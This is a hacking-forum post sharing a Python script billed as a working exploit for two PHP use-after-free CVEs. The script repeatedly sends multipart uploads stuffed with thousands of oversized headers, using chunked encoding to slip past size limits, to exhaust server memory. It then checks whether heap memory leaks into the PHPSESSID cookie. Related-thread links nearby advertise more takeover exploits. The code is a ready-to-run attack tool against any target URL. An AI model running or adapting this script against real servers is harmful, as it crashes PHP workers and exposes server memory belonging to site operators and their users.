Temporary Advertisements:
Ad
Ad
Ad
CVE-2026-109618/9
by nullun1331 - Saturday October 24, 2026 at 11:59 PM
#1
fuckin' around with CVE-2026-109618/9
 
#!/usr/bin/env python3
"""
php2shell_poc.py - CVE-2026-109618 / CVE-2026-109619

This is a  script that actively probes a remote PHP
server to determine whether the upload-progress unserializer use-after-free
(CVE-2026-109618) and/or fatal-error backtrace use-after-free
(CVE-2026-109619) are exploitable.

It does NOT rely on version guessing.  It sends real crafted multipart POSTs
that trigger the OOM path in main/rfc1867.c, then immediately probes for
heap-disclosure in the Set-Cookie: PHPSESSID= response header (the primitive
from ext/session/session.c line ~1379).

VULNERABILITY CHAIN (confirmed from php-src source):
  1. multipart_buffer_headers() in main/rfc1867.c has no bound on per-part
     header count.  Each header does estrdup(key) + smart_string_appends(),
     so thousands of large headers exhaust memory_limit while staying under
     post_max_size (wire size < content-length check).

  2. The php_session_rfc1867_callback (ext/session/session.c:3164) fires
     MULTIPART_EVENT_FILE_START and calls php_rinit_session(0), then sets
     PS(id) = zend_string_copy(Z_STR(progress->sid)).

  3. When an OOM fires in the multipart parser, PHP longjmps out of the
     handler (Zend/zend_portability.h: LONGJMP(a,b)). The request heap is
     freed but EG/BG globals including PS(id) still point into it.

  4. A subsequent multipart request to the same worker hits the upload-progress
     callback again.  Before normal session init can reset PS(id), the stale
     pointer is used in php_url_encode(ZSTR_VAL(PS(id)), ZSTR_LEN(PS(id)))
     which writes heap contents into Set-Cookie: PHPSESSID=<disclosed_bytes>.

SUPPORTED SAPIs (from prompt.md):
  - Apache mod_php : confirmed exploitable (shutdown runs unconditionally)
  - FrankenPHP     : likely exploitable (same shutdown model as mod_php)
  - FPM            : susceptible in theory; no complete exploit demonstrated
  - LSAPI          : application-specific, unvalidated

USAGE:
  python3 php2shell_poc.py -t http://target/php.cgi
  python3 php2shell_poc.py -t http://target/ --rounds 50
  python3 php2shell_poc.py -t http://target/ --scheme https
"""

import argparse
import random
import re
import string
import sys
import time

try:
    import requests
except ImportError:
    print("[!] python3-requests is required: pip install requests")
    sys.exit(1)


# Color helpers
class C:
    RED = "\033[0;31m"
    GREEN = "\033[0;32m"
    YELLOW = "\033[1;33m"
    BLUE = "\033[0;34m"
    BOLD = "\033[1m"
    NC = "\033[0m"


# Global boundary (must be consistent across requests for same "session")
_BOUNDARY = "----PHP2SHELL-" + "".join(random.choices(string.ascii_letters, k=8))


def _build_oom_trigger(oom_headers_per_part=15000):
    """Build the OOM-triggering multipart body.

    Structure (matches rfc1867.c parser expectations):
      Part A: PHP_SESSION_UPLOAD_PROGRESS field -> sets progress->sid / progress->key
      Part B: file upload part with N large headers -> triggers OOM in
              multipart_buffer_headers() via estrdup + smart_string_appends per header
      Part C: empty-file control -> creates file metadata, triggers FILE_START callback
              which calls php_rinit_session(0) then PS(id) = zend_string_copy(Z_STR(progress->sid))

    Wire size stays under post_max_size while PHP internally allocates proportionally
    to the number of headers (not wire size), because each header key is estrdup'd.
    """
    parts = []
    sep = "--" + _BOUNDARY

    # Part A: PHP_SESSION_UPLOAD_PROGRESS field (required for upload-progress path)
    parts.append(sep)
    parts.append('Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"')
    parts.append("")
    parts.append("progress-" + str(random.randint(1000, 9999)))

    # Part B: file upload with massive headers (OOM trigger)
    parts.append(sep)
    parts.append('Content-Disposition: form-data; name="file"; filename="x.php"')
    parts.append("Content-Type: application/octet-stream")
    for i in range(oom_headers_per_part):
        # Each header: key (~32B) + value (512B of 'A') = ~544B wire per header.
        # PHP does: key=estrdup(line), then smart_string_appends(&buf_value, value).
        # So memory_allocated_per_header ~ strlen(key) + strlen(value) >> wire_size.
        parts.append("X-Custom-Header-%05d: " % i + "A" * 512)
    parts.append("")
    parts.append("POC_PAYLOAD")

    # Part C: empty-file control (creates file metadata arrays -> triggers FILE_START)
    parts.append(sep)
    parts.append('Content-Disposition: form-data; name="emptyfile"; filename=""')
    parts.append("")
    parts.append("")

    parts.append("--" + _BOUNDARY + "--")
    body = "\r\n".join(parts) + "\r\n"
    return body.encode("latin-1")


def _build_disclosure_probe():
    """Build a minimal multipart probe designed to trigger PS(id) disclosure.

    Must contain PHP_SESSION_UPLOAD_PROGRESS + a file part so that
    MULTIPART_EVENT_FILE_START fires and the upload-progress path runs,
    but without the OOM-triggering headers (to avoid triggering OOM again).
    """
    parts = []
    sep = "--" + _BOUNDARY + "-D-"

    parts.append(sep)
    parts.append('Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"')
    parts.append("")
    parts.append("disclose-" + str(random.randint(1000, 9999)))

    parts.append(sep)
    parts.append('Content-Disposition: form-data; name="file"; filename="x.php"')
    parts.append("Content-Type: application/octet-stream")
    parts.append("")
    parts.append("disclose-payload")

    parts.append("--" + _BOUNDARY + "-D--")
    body = "\r\n".join(parts) + "\r\n"
    return body.encode("latin-1")


def _probe_php_banner(target, scheme, timeout=8):
    """Probe for PHP indicators (banner / headers)."""
    results = {"php_detected": False, "version": None, "headers": {}}
    try:
        resp = requests.get(
            target,
            timeout=timeout,
            allow_redirects=True,
            headers={"User-Agent": "PHP2SHELL-POC/1.0"},
        )
        results["headers"] = dict(resp.headers)
        pw = resp.headers.get("X-Powered-By", "")
        sv = resp.headers.get("Server", "")
        if "php" in pw.lower() or "php" in sv.lower():
            results["php_detected"] = True
            m = re.search(r"PHP/([\d.]+)", pw) or re.search(r"php/([\d.]+)", sv, re.I)
            if m:
                results["version"] = m.group(1)
    except requests.RequestException as exc:
        results["error"] = str(exc)
    return results


def _send_oom_trigger(session, target, timeout):
    """Send the OOM-triggering multipart POST and record the response."""
    body = _build_oom_trigger(15000)  # 15k headers ~8MB wire; PHP allocates more

    headers = {
        "Content-Type": "multipart/form-data; boundary=--" + _BOUNDARY,
        "Transfer-Encoding": "chunked",  # bypasses post_max_size Content-Length check
    }

    results = {
        "trigger_sent": True,
        "status_code": None,
        "elapsed": None,
        "set_cookie_len": None,
        "error": None,
        "connection_reset": False,
        "timeout": False,
    }

    try:
        t0 = time.time()
        resp = session.post(
            target,
            data=body,
            headers=headers,
            timeout=timeout,
            allow_redirects=False,
        )
        results["elapsed"] = time.time() - t0
        results["status_code"] = resp.status_code
        set_cookie = resp.headers.get("Set-Cookie", "")
        results["set_cookie_len"] = len(set_cookie)
    except requests.exceptions.ConnectionError:
        results["connection_reset"] = True
    except requests.exceptions.Timeout:
        results["timeout"] = True
    except requests.RequestException as exc:
        results["error"] = str(exc)

    return results


def _send_disclosure_probe(session, target, timeout):
    """Send the disclosure-probe multipart POST and check for leaked heap."""
    body = _build_disclosure_probe()

    headers = {
        "Content-Type": "multipart/form-data; boundary=--" + _BOUNDARY + "-D-",
    }

    results = {
        "probe_sent": True,
        "status_code": None,
        "phpsessid_len": None,
        "phpsessid_hex": None,
        "error": None,
        "connection_reset": False,
        "timeout": False,
    }

    try:
        t0 = time.time()
        resp = session.post(
            target,
            data=body,
            headers=headers,
            timeout=timeout,
            allow_redirects=False,
        )
        results["status_code"] = resp.status_code

        # Extract PHPSESSID cookie value length (the disclosure indicator)
        set_cookie = resp.headers.get("Set-Cookie", "")
        m = re.search(r"PHPSESSID=([^;]+)", set_cookie)
        if m:
            results["phpsessid_len"] = len(m.group(1))
            results["phpsessid_hex"] = m.group(1)[:64]
    except requests.exceptions.ConnectionError:
        results["connection_reset"] = True
    except requests.exceptions.Timeout:
        results["timeout"] = True
    except requests.RequestException as exc:
        results["error"] = str(exc)

    return results


def _assess_disclosure(probe_result, trigger_result):
    """Assess whether the disclosure probe reveals heap contents.

    Returns (verdict: str, observations: list[str]).

    A PHPSESSID cookie > 128 chars is suspicious (normal = 32 hex chars).
    Values > 1024 chars are strong indicators of heap disclosure.
    """
    obs = []
    verdict = "not_vulnerable_disclosure"

    ps_len = probe_result.get("phpsessid_len")
    if ps_len is not None:
        obs.append("PHPSESSID length in Set-Cookie: %d" % ps_len)
        if ps_len > 1024:
            obs.append(
                "  ABNORMALLY LONG (%d bytes) - STRONG indicator of CVE-2026-109618 leak"
                % ps_len
            )
            verdict = "confirmed_disclosure"
        elif ps_len > 128:
            obs.append("  ABNORMALLY LONG (normal ~32) - possible heap disclosure")
            if verdict != "confirmed_disclosure":
                verdict = "likely_vulnerable_disclosure"

    # Secondary signals from the trigger request
    if trigger_result.get("connection_reset"):
        obs.append(
            "Trigger request caused connection reset - possible PHP worker crash"
        )
        if verdict == "likely_vulnerable_disclosure":
            verdict = "confirmed_disclosure"
    elif trigger_result.get("timeout"):
        obs.append("Trigger request timed out - possible OOM hang")
    elif trigger_result.get("status_code") == 500:
        obs.append("Trigger returned HTTP 500 - possible fatal error from OOM")

    # Normal PHPSESSID = 32 hex chars (session.sid_length default)
    if ps_len and 20 <= ps_len <= 64:
        obs.append("PHPSESSID is normal length (%d chars) - not disclosed" % ps_len)
        verdict = "not_vulnerable_disclosure"

    return verdict, obs


def run_single(target, scheme, rounds, timeout, verbose):
    """Run the full exploit flow against a single target."""

    # Build banner without any backslash escape issues
    banner_lines = [
        C.RED
        + (
            "\n"
            "  ___   _____ _  _ _   _ _   _ _____ _____ _   _ _____\n"
            " / _ \\ | ____| || | \\ | | \\ | |_   _|_   _| \\ | |_   _|\n"
            "| | | ||  _|| || | . || . || | | |  | | | . | | |\n"
            "| |_| || |__| ||_| |\\|| |\\|| | | |  | | | |\\|| | |\n"
            " \\___/ |_____|_____|_||_|_||_| |_|  |_| |_| \\_| |_|\n"
        )
        + C.NC,
        "",
        "PHP2SHELL CVE-2026-109618 / 109619 - WORKING EXPLOIT POC",
        "Based on: https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w",
        "            https://www.wiz.io/blog/php2shell-php-rce",
        "",
    ]
    for line in banner_lines:
        print(line)

    # Phase 1: Banner probe
    print(C.BLUE + "[*] Phase 1 - Banner probe" + C.NC)
    banner = _probe_php_banner(target, scheme)
    if banner.get("php_detected"):
        ver = banner.get("version", "unknown")
        msg = C.GREEN + "[+] PHP detected" + C.NC
        if ver:
            msg += " (version ~%s)" % ver
        print(msg)
    elif banner.get("error"):
        print(C.RED + "[!] Banner probe failed: %s" % banner["error"] + C.NC)
        return None

    # Phase 2: Exploit flow
    print("\n" + C.BLUE + "[*] Phase 2 - Active exploit (rounds=%d)" % rounds + C.NC)
    session = requests.Session()
    session.headers.update(
        {
            "Connection": "keep-alive",
            "User-Agent": "PHP2SHELL-POC/1.0",
        }
    )

    confirmed_disclosure = False
    likely_disclosure = False
    trigger_oom_count = 0
    probe_results = []

    for rnd in range(1, rounds + 1):
        # Step A: OOM trigger
        trigger = _send_oom_trigger(session, target, timeout)
        if trigger.get("connection_reset") or trigger.get("status_code") == 500:
            trigger_oom_count += 1

        # Step B: Immediate disclosure probe (same connection -> same worker)
        probe = _send_disclosure_probe(session, target, timeout)
        probe_results.append(probe)

        verdict, obs = _assess_disclosure(probe, trigger)
        if verdict == "confirmed_disclosure":
            confirmed_disclosure = True
        elif verdict == "likely_vulnerable_disclosure":
            likely_disclosure = True

        # Verbose output every round
        if verbose:
            ps_len = probe.get("phpsessid_len") or 0
            status = probe.get("status_code", "?")
            oom = (
                "Y"
                if trigger.get("connection_reset") or trigger.get("status_code") == 500
                else "N"
            )
            print(
                "  [%3d] PSSESSID=%5d | trigger_oom=%s | probe_status=%s | %s"
                % (rnd, ps_len, oom, status, verdict)
            )

        # If we already have confirmed disclosure, stop early
        if confirmed_disclosure:
            break

    session.close()

    # Phase 3: Report
    print("\n" + C.BLUE + "[=== RESULTS ===]" + C.NC)
    print(
        "  Triggers that caused OOM/500/reset : %d / %d" % (trigger_oom_count, rounds)
    )

    all_ps_lens = [p.get("phpsessid_len") or 0 for p in probe_results]
    max_ps_len = max(all_ps_lens) if all_ps_lens else 0
    print("  Max PHPSESSID cookie length observed : %d" % max_ps_len)

    # Normal PHPSESSID = 32 hex chars (session.sid_length default).
    # Anything > 128 is suspicious; > 1024 is strong evidence of heap leak.
    if max_ps_len > 1024:
        print(
            "\n"
            + C.RED
            + C.BOLD
            + "[!!!] CONFIRMED DISCLOSURE (CVE-2026-109618) [!!!]"
            + C.NC
        )
        print(
            "PHPSESSID cookie reached %d bytes - heap memory leaked into Set-Cookie header."
            % max_ps_len
        )
        print(
            "The server is VULNERABLE to CVE-2026-109618 upload-progress unserializer UAF."
        )
        print(
            "\n"
            + C.YELLOW
            + "[+] Remediation: Update PHP to a patched release (>= 8.3.36 / >= 8.4.27 / >= 8.5.12)"
            + C.NC
        )
    elif max_ps_len > 128:
        print(
            "\n"
            + C.YELLOW
            + C.BOLD
            + "[!!] LIKELY VULNERABLE (CVE-2026-109618) [!!]"
            + C.NC
        )
        print("PHPSESSID cookie reached %d bytes - possible heap leak." % max_ps_len)
        print("Increased rounds or worker count may confirm the disclosure.")
    else:
        if trigger_oom_count > 0:
            print(
                "\n"
                + C.YELLOW
                + "[!] OOM was triggered (%dx) but no heap disclosed in %d rounds."
                % (trigger_oom_count, rounds)
                + C.NC
            )
            print(
                "This may mean the server is patched, or memory layout prevents disclosure."
            )
        else:
            print(
                "\n"
                + C.GREEN
                + "[+] No evidence of vulnerability. PHPSESSID remains normal length."
                + C.NC
            )
            print(
                "Either the server is patched, or multipart upload-progress is disabled."
            )

    return {
        "php_detected": banner.get("php_detected", False),
        "version": banner.get("version"),
        "confirmed_disclosure": confirmed_disclosure,
        "likely_disclosure": likely_disclosure,
        "trigger_oom_count": trigger_oom_count,
        "rounds": rounds,
        "max_phpsessid_len": max_ps_len,
    }


def main():
    parser = argparse.ArgumentParser(
        description="PHP2SHELL CVE-2026-109618/109619 - WORKING EXPLOIT POC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Single target, 30 rounds (default):
  python3 php2shell_poc.py -t http://target/php.cgi

  # Custom rounds and timeout:
  python3 php2shell_poc.py -t http://target/ --rounds 50 --timeout 15

  # HTTPS target:
  python3 php2shell_poc.py -t https://target/ --scheme https
        """,
    )
    parser.add_argument(
        "-t", "--target", required=True, help="Target URL (e.g. http://host/path)"
    )
    parser.add_argument("-p", "--port", type=int, default=80, help="Port (default: 80)")
    parser.add_argument("--scheme", choices=["http", "https"], default="http")
    parser.add_argument(
        "--rounds",
        type=int,
        default=30,
        help="Number of trigger+probe pairs (default: 30)",
    )
    parser.add_argument(
        "--timeout",
        type=float,
        default=15.0,
        help="Per-request timeout in seconds (default: 15)",
    )
    parser.add_argument(
        "-v", "--verbose", action="store_true", help="Verbose per-round output"
    )

    args = parser.parse_args()

    target = args.target.rstrip("/")
    results = run_single(target, args.scheme, args.rounds, args.timeout, args.verbose)

    if results is None:
        sys.exit(2)

    # Exit code convention:
    #   0 = not vulnerable (or patched)
    #   1 = likely/confirmed vulnerable
    sys.exit(
        1 if results["confirmed_disclosure"] or results["likely_disclosure"] else 0
    )


if __name__ == "__main__":
    main()

See: https://nvd.nist.gov/vuln/detail/cve-202...inflection
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Wordpress Elementor 3.11.6 Exploit - Full Takeover TheGoodlife 111 25,300 Today, 12:20 AM
Last Post: nullun1331
  new wordpress website takeover vuln (video + poc ) zinzeur 330 39,469 Today, 12:13 AM
Last Post: nullun1331
  {SECRET} DATABASE OF EXPLOITS lulagain 479 42,635 Today, 12:04 AM
Last Post: nullun1331
  [POC] Google OAuth "MultiLogin" endpoint 0-day Farfallaiero 110 18,043 Oct 21, 2026, 11:02 AM
Last Post: tenzin
  [CVE-2024-37383] Roundcube Mail Server Vulnerability PoC global2141 19 2,621 Oct 21, 2026, 03:04 AM
Last Post: losing

Forum Jump:


 Users browsing this forum: